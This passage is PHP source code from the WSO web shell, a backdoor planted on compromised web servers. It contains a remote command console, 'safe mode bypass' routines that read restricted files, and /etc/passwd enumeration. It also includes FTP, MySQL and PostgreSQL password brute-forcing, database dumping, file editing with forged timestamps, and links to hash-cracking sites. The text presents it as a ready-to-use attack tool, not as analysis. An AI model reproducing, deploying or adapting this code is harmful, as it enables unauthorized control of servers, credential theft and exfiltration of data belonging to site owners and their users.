633 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
634 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
635 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
636 if(class_exists('ZipArchive'))
637 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
638 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
639 echo "<option value='paste'>Paste / zip</option>";
640 echo "</select> <input type='submit' value='>>'></td></tr></form></table></div>";
641 wsoFooter();
642}
643
644function actionStringTools() {
645 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
646 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
647 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
648 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
649 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
650 $stringTools = array(
651 'Base64 encode' => 'base64_encode',
652 'Base64 decode' => 'base64_decode',
653 'Url encode' => 'urlencode',
654 'Url decode' => 'urldecode',
655 'Full urlencode' => 'full_urlencode',
656 'md5 hash' => 'md5',
657 'sha1 hash' => 'sha1',
658 'crypt' => 'crypt',
659 'CRC32' => 'crc32',
660 'ASCII to HEX' => 'ascii2hex',
661 'HEX to ASCII' => 'hex2ascii',
662 'HEX to DEC' => 'hexdec',
663 'HEX to BIN' => 'hex2bin',
664 'DEC to HEX' => 'dechex',
665 'DEC to BIN' => 'decbin',
666 'BIN to HEX' => 'binhex',
667 'BIN to DEC' => 'bindec',
668 'String to lower case' => 'strtolower',
669 'String to upper case' => 'strtoupper',
670 'Htmlspecialchars' => 'htmlspecialchars',
671 'String length' => 'strlen',
672 );
673 if(isset($_POST['ajax'])) {
674 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
675 ob_start();
676 if(in_array($_POST['p1'], $stringTools))
677 echo $_POST['p1']($_POST['p2']);
678 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
679 echo strlen($temp), "\n", $temp;
680 exit;
681 }
682 wsoHeader();
683 echo '<h1>String conversions</h1><div class=content>';
684 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
685 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
686 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
687 foreach($stringTools as $k => $v)
688 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
689 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
690 if(!empty($_POST['p1'])) {
691 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
692 }
693 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
694 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
695 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
696 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
697 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
698 <tr><td></td><td><input type='submit' value='>>'></td></tr>
699 </table></form>";
700
701 function wsoRecursiveGlob($path) {
702 if(substr($path, -1) != '/')
703 $path.='/';
704 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
705 if(is_array($paths)&&@count($paths)) {
706 foreach($paths as $item) {
707 if(@is_dir($item)){
708 if($path!=$item)
709 wsoRecursiveGlob($item);
710 } else {
711 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
712 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
713 }
714 }
715 }
716 }
717 if(@$_POST['p3'])
718 wsoRecursiveGlob($_POST['c']);
719 echo "</div><br><h1>Search for hash:</h1><div class=content>
720 <form method='post' target='_blank' name='hf'>
721 <input type='text' name='hash' style='width:200px;'><br>
722 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
723 <input type='button' value='milw0rm.com' onclick=\"document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()\"><br>
724 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
725 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
726 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
727 </form></div>";
728 wsoFooter();
729}
730
731function actionFilesTools() {
732 if( isset($_POST['p1']) )
733 $_POST['p1'] = urldecode($_POST['p1']);
734 if(@$_POST['p2']=='download') {
735 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
736 ob_start("ob_gzhandler", 4096);
737 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
738 if (function_exists("mime_content_type")) {
739 $type = @mime_content_type($_POST['p1']);
740 header("Content-Type: ".$type);
741 }
742 $fp = @fopen($_POST['p1'], "r");
743 if($fp) {
744 while(!@feof($fp))
745 echo @fread($fp, 1024);
746 fclose($fp);
747 }
748 }exit;
749 }
750 if( @$_POST['p2'] == 'mkfile' ) {
751 if(!file_exists($_POST['p1'])) {
752 $fp = @fopen($_POST['p1'], 'w');
753 if($fp) {
754 $_POST['p2'] = "edit";
755 fclose($fp);
756 }
757 }
758 }
759 wsoHeader();
760 echo '<h1>File tools</h1><div class=content>';
761 if( !file_exists(@$_POST['p1']) ) {
762 echo 'File not exists';
763 wsoFooter();
764 return;
765 }
766 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
767 if(!$uid) {
768 $uid['name'] = @fileowner($_POST['p1']);
769 $gid['name'] = @filegroup($_POST['p1']);
770 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
771 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
772 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
773 if( empty($_POST['p2']) )
774 $_POST['p2'] = 'view';
775 if( is_file($_POST['p1']) )
776 $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
777 else
778 $m = array('Chmod', 'Rename', 'Touch');
779 foreach($m as $v)
780 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
781 echo '<br><br>';
782 switch($_POST['p2']) {
783 case 'view':
784 echo '<pre class=ml1>';
785 $fp = @fopen($_POST['p1'], 'r');
786 if($fp) {
787 while( !@feof($fp) )
788 echo htmlspecialchars(@fread($fp, 1024));
789 @fclose($fp);
790 }
791 echo '</pre>';
792 break;
793 case 'highlight':
794 if( @is_readable($_POST['p1']) ) {
795 echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
796 $code = @highlight_file($_POST['p1'],true);
797 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
798 }
799 break;
800 case 'chmod':
801 if( !empty($_POST['p3']) ) {
802 $perms = 0;
803 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
804 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
805 if(!@chmod($_POST['p1'], $perms))
806 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
807 }
808 clearstatcache();
809 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
810 break;
811 case 'edit':
812 if( !is_writable($_POST['p1'])) {
813 echo 'File isn\'t writeable';
814 break;
815 }
816 if( !empty($_POST['p3']) ) {
817 $time = @filemtime($_POST['p1']);
818 $_POST['p3'] = substr($_POST['p3'],1);
819 $fp = @fopen($_POST['p1'],"w");
820 if($fp) {
821 @fwrite($fp,$_POST['p3']);
822 @fclose($fp);
823 echo 'Saved!<br><script>p3_="";</script>';
824 @touch($_POST['p1'],$time,$time);
825 }
826 }
827 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
828 $fp = @fopen($_POST['p1'], 'r');
829 if($fp) {
830 while( !@feof($fp) )
831 echo htmlspecialchars(@fread($fp, 1024));
832 @fclose($fp);
833 }
834 echo '</textarea><input type=submit value=">>"></form>';
835 break;
836 case 'hexdump':
837 $c = @file_get_contents($_POST['p1']);
838 $n = 0;
839 $h = array('00000000<br>','','');
840 $len = strlen($c);
841 for ($i=0; $i<$len; ++$i) {
842 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
843 switch ( ord($c[$i]) ) {
844 case 0: $h[2] .= ' '; break;
845 case 9: $h[2] .= ' '; break;
846 case 10: $h[2] .= ' '; break;
847 case 13: $h[2] .= ' '; break;
848 default: $h[2] .= $c[$i]; break;
849 }
850 $n++;
851 if ($n == 32) {
852 $n = 0;
853 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
854 $h[1] .= '<br>';
855 $h[2] .= "\n";
856 }
857 }
858 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
859 break;
860 case 'rename':
861 if( !empty($_POST['p3']) ) {
862 if(!@rename($_POST['p1'], $_POST['p3']))
863 echo 'Can\'t rename!<br>';
864 else
865 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
866 }
867 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
868 break;
869 case 'touch':
870 if( !empty($_POST['p3']) ) {
871 $time = strtotime($_POST['p3']);
872 if($time) {
873 if(!touch($_POST['p1'],$time,$time))
874 echo 'Fail!';
875 else
876 echo 'Touched!';
877 } else echo 'Bad time format!';
878 }
879 clearstatcache();
880 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
881 break;
882 }
883 echo '</div>';
884 wsoFooter();
885}
886
887function actionSafeMode() {
888 $temp='';
889 ob_start();
890 switch($_POST['p1']) {
891 case 1:
892 $temp=@tempnam($test, 'cx');
893 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
894 echo @file_get_contents($temp);
895 unlink($temp);
896 } else
897 echo 'Sorry... Can\'t open file';
898 break;
899 case 2:
900 $files = glob($_POST['p2'].'*');
901 if( is_array($files) )
902 foreach ($files as $filename)
903 echo $filename."\n";
904 break;
905 case 3:
906 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
907 curl_exec($ch);
908 break;
909 case 4:
910 ini_restore("safe_mode");
911 ini_restore("open_basedir");
912 include($_POST['p2']);
913 break;
914 case 5:
915 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
916 $uid = @posix_getpwuid($_POST['p2']);
917 if ($uid)
918 echo join(':',$uid)."\n";
919 }
920 break;
921 }
922 $temp = ob_get_clean();
923 wsoHeader();
924 echo '<h1>Safe mode bypass</h1><div class=content>';
925 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
926 if($temp)
927 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
928 echo '</div>';
929 wsoFooter();
930}
931
932function actionConsole() {
933 if(isset($_POST['ajax'])) {
934 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
935 ob_start();
936 echo "document.cf.cmd.value='';\n";
937 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
938 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
939 if(@chdir($match[1])) {
940 $GLOBALS['cwd'] = @getcwd();
941 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
942 }
943 }
944 echo "document.cf.output.value+='".$temp."';";
945 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
946 $temp = ob_get_clean();
947 echo strlen($temp), "\n", $temp;
948 exit;
949 }
950 wsoHeader();
951 echo "<script>
952if(window.Event) window.captureEvents(Event.KEYDOWN);
953var cmds = new Array('');
954var cur = 0;
955function kp(e) {
956 var n = (window.Event) ? e.which : e.keyCode;
957 if(n == 38) {
958 cur--;
959 if(cur>=0)
960 document.cf.cmd.value = cmds[cur];
961 else
962 cur++;
963 } else if(n == 40) {
964 cur++;
965 if(cur < cmds.length)
966 document.cf.cmd.value = cmds[cur];
967 else
968 cur--;
969 }
970}
971function add(cmd) {
972 cmds.pop();
973 cmds.push(cmd);
974 cmds.push('');
975 cur = cmds.length-1;
976}
977</script>";
978 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
979 foreach($GLOBALS['aliases'] as $n => $v) {
980 if($v == '') {
981 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
982 continue;
983 }
984 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
985 }
986 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
987 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
988 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
989 if(!empty($_POST['p1'])) {
990 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
991 }
992 echo '</textarea><input type=text name=cmd style="border-top:0;width:100%;margin:0;" onkeydown="kp(event);">';
993 echo '</form></div><script>document.cf.cmd.focus();</script>';
994 wsoFooter();
995}
996
997function actionLogout() {
998 unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
999 die('bye!');
1000}
1001
1002function actionSelfRemove() {
1003
1004 if($_POST['p1'] == 'yes')
1005 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
1006 die('Shell has been removed');
1007 else
1008 echo 'unlink error!';
1009 if($_POST['p1'] != 'yes')
1010 wsoHeader();
1011 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
1012 wsoFooter();
1013}
1014
1015function actionBruteforce() {
1016 wsoHeader();
1017 if( isset($_POST['proto']) ) {
1018 echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
1019 if( $_POST['proto'] == 'ftp' ) {
1020 function bruteForce($ip,$port,$login,$pass) {
1021 $fp = @ftp_connect($ip, $port?$port:21);
1022 if(!$fp) return false;
1023 $res = @ftp_login($fp, $login, $pass);
1024 @ftp_close($fp);
1025 return $res;
1026 }
1027 } elseif( $_POST['proto'] == 'mysql' ) {
1028 function bruteForce($ip,$port,$login,$pass) {
1029 $res = @mysql_connect($ip.':'.$port?$port:3306, $login, $pass);
1030 @mysql_close($res);
1031 return $res;
1032 }
1033 } elseif( $_POST['proto'] == 'pgsql' ) {
1034 function bruteForce($ip,$port,$login,$pass) {
1035 $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
1036 $res = @pg_connect($str);
1037 @pg_close($res);
1038 return $res;
1039 }
1040 }
1041 $success = 0;
1042 $attempts = 0;
1043 $server = explode(":", $_POST['server']);
1044 if($_POST['type'] == 1) {
1045 $temp = @file('/etc/passwd');
1046 if( is_array($temp) )
1047 foreach($temp as $line) {
1048 $line = explode(":", $line);
1049 ++$attempts;
1050 if( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
1051 $success++;
1052 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
1053 }
1054 if(@$_POST['reverse']) {
1055 $tmp = "";
1056 for($i=strlen($line[0])-1; $i>=0; --$i)
1057 $tmp .= $line[0][$i];
1058 ++$attempts;
1059 if( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
1060 $success++;
1061 echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
1062 }
1063 }
1064 }
1065 } elseif($_POST['type'] == 2) {
1066 $temp = @file($_POST['dict']);
1067 if( is_array($temp) )
1068 foreach($temp as $line) {
1069 $line = trim($line);
1070 ++$attempts;
1071 if( bruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
1072 $success++;
1073 echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
1074 }
1075 }
1076 }
1077 echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
1078 }
1079 echo '<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
1080 .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
1081 .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
1082 .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
1083 .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
1084 .'<span>Server:port</span></td>'
1085 .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
1086 .'<tr><td><span>Brute type</span></td>'
1087 .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
1088 .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
1089 .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
1090 .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
1091 .'<td><input type=text name=login value="root"></td></tr>'
1092 .'<tr><td><span>Dictionary</span></td>'
1093 .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
1094 .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
1095 echo '</div><br>';
1096 wsoFooter();
1097}
1098
1099function actionSql() {
1100 class DbClass {
1101 var $type;
1102 var $link;
1103 var $res;
1104 function DbClass($type) {
1105 $this->type = $type;
1106 }
1107 function connect($host, $user, $pass, $dbname){
1108 switch($this->type) {
1109 case 'mysql':
1110 if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
1111 break;
1112 case 'pgsql':
1113 $host = explode(':', $host);
1114 if(!$host[1]) $host[1]=5432;
1115 if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
1116 break;
1117 }
1118 return false;
1119 }
1120 function selectdb($db) {
1121 switch($this->type) {
1122 case 'mysql':
1123 if (@mysql_select_db($db))return true;
1124 break;
1125 }
1126 return false;
1127 }
1128 function query($str) {
1129 switch($this->type) {
1130 case 'mysql':
1131 return $this->res = @mysql_query($str);
1132 break;
1133 case 'pgsql':
1134 return $this->res = @pg_query($this->link,$str);
1135 break;
1136 }
1137 return false;
1138 }
1139 function fetch() {
1140 $res = func_num_args()?func_get_arg(0):$this->res;
1141 switch($this->type) {
1142 case 'mysql':
1143 return @mysql_fetch_assoc($res);
1144 break;
1145 case 'pgsql':
1146 return @pg_fetch_assoc($res);
1147 break;
1148 }
1149 return false;
1150 }
1151 function listDbs() {
1152 switch($this->type) {
1153 case 'mysql':
1154 return $this->res = @mysql_list_dbs($this->link);
1155 break;
1156 case 'pgsql':
1157 return $this->res = $this->query("SELECT datname FROM pg_database");
1158 break;
1159 }
1160 return false;
1161 }
1162 function listTables() {
1163 switch($this->type) {
1164 case 'mysql':
1165 return $this->res = $this->query('SHOW TABLES');
1166 break;
1167 case 'pgsql':
1168 return $this->res = $this->query("select table_name from information_schema.tables where (table_schema != 'information_schema' AND table_schema != 'pg_catalog') or table_name = 'pg_shadow'");
1169 break;
1170 }
1171 return false;
1172 }
1173 function error() {
1174 switch($this->type) {
1175 case 'mysql':
1176 return @mysql_error($this->link);
1177 break;
1178 case 'pgsql':
1179 return @pg_last_error($this->link);
1180 break;
1181 }
1182 return false;
1183 }
1184 function setCharset($str) {
1185 switch($this->type) {
1186 case 'mysql':
1187 if(function_exists('mysql_set_charset'))
1188 return @mysql_set_charset($str, $this->link);
1189 else
1190 $this->query('SET CHARSET '.$str);
1191 break;
1192 case 'pgsql':
1193 return @pg_set_client_encoding($this->link, $str);
1194 break;
1195 }
1196 return false;
1197 }
1198 function loadFile($str) {
1199 switch($this->type) {
1200 case 'mysql':
1201 return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
1202 break;
1203 case 'pgsql':
1204 $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
1205 $r=array();
1206 while($i=$this->fetch())
1207 $r[] = $i['file'];
1208 $this->query('drop table wso2');
1209 return array('file'=>implode("\n",$r));
1210 break;
1211 }
1212 return false;
1213 }
1214 function dump($table) {
1215 switch($this->type) {
1216 case 'mysql':
1217 $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
1218 $create = mysql_fetch_array($res);
1219 echo $create[1].";\n\n";
1220 $this->query('SELECT * FROM `'.$table.'`');
1221 while($item = $this->fetch()) {
1222 $columns = array();
1223 foreach($item as $k=>$v) {
1224 $item[$k] = "'".@mysql_real_escape_string($v)."'";
1225 $columns[] = "`".$k."`";
1226 }
1227 echo 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1228 }
1229 break;
1230 case 'pgsql':
1231 $this->query('SELECT * FROM '.$table);
1232 while($item = $this->fetch()) {
1233 $columns = array();
1234 foreach($item as $k=>$v) {
1235 $item[$k] = "'".addslashes($v)."'";
1236 $columns[] = $k;
1237 }
1238 echo 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
1239 }
1240 break;
1241 }
1242 return false;
1243 }
1244 };
1245 $db = new DbClass($_POST['type']);
1246 if(@$_POST['p2']=='download') {
1247 ob_start("ob_gzhandler", 4096);
1248 $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
1249 $db->selectdb($_POST['sql_base']);
1250 header("Content-Disposition: attachment; filename=dump.sql");
1251 header("Content-Type: text/plain");
1252 foreach($_POST['tbl'] as $v)
1253 $db->dump($v);
1254 exit;
1255 }
1256 wsoHeader();
1257 echo "
1258<h1>Sql browser</h1><div class=content>
1259<form name='sf' method='post'><table cellpadding='2' cellspacing='0'><tr>
1260<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
1261<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
1262<td><select name='type'><option value='mysql' ";
1263 if(@$_POST['type']=='mysql')echo 'selected';
1264echo ">MySql</option><option value='pgsql' ";
1265if(@$_POST['type']=='pgsql')echo 'selected';
1266echo ">PostgreSql</option></select></td>
1267<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td>
1268<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td>
1269<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>";
1270 $tmp = "<input type=text name=sql_base value=''>";
1271 if(isset($_POST['sql_host'])){
1272 if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
1273 switch($_POST['charset']) {
1274 case "Windows-1251": $db->setCharset('cp1251'); break;
1275 case "UTF-8": $db->setCharset('utf8'); break;
1276 case "KOI8-R": $db->setCharset('koi8r'); break;
1277 case "KOI8-U": $db->setCharset('koi8u'); break;
1278 case "cp866": $db->setCharset('cp866'); break;
1279 }
1280 $db->listDbs();
1281 echo "<select name=sql_base><option value=''></option>";
1282 while($item = $db->fetch()) {
1283 list($key, $value) = each($item);
1284 echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
1285 }
1286 echo '</select>';
1287 }
1288 else echo $tmp;
1289 }else
1290 echo $tmp;
1291 echo "</td>
1292 <td><input type=submit value='>>'></td>
1293 </tr>
1294 </table>
1295 <script>
1296 function st(t,l) {
1297 document.sf.p1.value = 'select';
1298 document.sf.p2.value = t;
1299 if(l!=null)document.sf.p3.value = l;
1300 document.sf.submit();
1301 }
1302 function is() {
1303 for(i=0;i<document.sf.elements['tbl[]'].length;++i)
1304 document.sf.elements['tbl[]'][i].checked = !document.sf.elements['tbl[]'][i].checked;
1305 }
1306 </script>";
1307 if(isset($db) && $db->link){
1308 echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
1309 if(!empty($_POST['sql_base'])){
1310 $db->selectdb($_POST['sql_base']);
1311 echo "<tr><td width=1 style='border-top:2px solid #666;border-right:2px solid #666;'><span>Tables:</span><br><br>";
1312 $tbls_res = $db->listTables();
1313 while($item = $db->fetch($tbls_res)) {
1314 list($key, $value) = each($item);
1315 $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
1316 $value = htmlspecialchars($value);
1317 echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'> <a href=# onclick=\"st('".$value."')\">".$value."</a> (".$n['n'].")</nobr><br>";
1318 }
1319 echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'></td><td style='border-top:2px solid #666;'>";
1320 if(@$_POST['p1'] == 'select') {
1321 $_POST['p1'] = 'query';
1322 $db->query('SELECT COUNT(*) as n FROM '.$_POST['p2'].'');
1323 $num = $db->fetch();
1324 $num = $num['n'];
1325 echo "<span>".$_POST['p2']."</span> ($num) ";
1326 for($i=0;$i<($num/30);$i++)
1327 if($i != (int)$_POST['p3'])
1328 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1329 else
1330 echo ($i+1)," ";
1331 if($_POST['type']=='pgsql')
1332 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1333 else
1334 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1335 echo "<br><br>";
1336 }
1337 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1338 $db->query(@$_POST['p3']);
1339 if($db->res !== false) {
1340 $title = false;
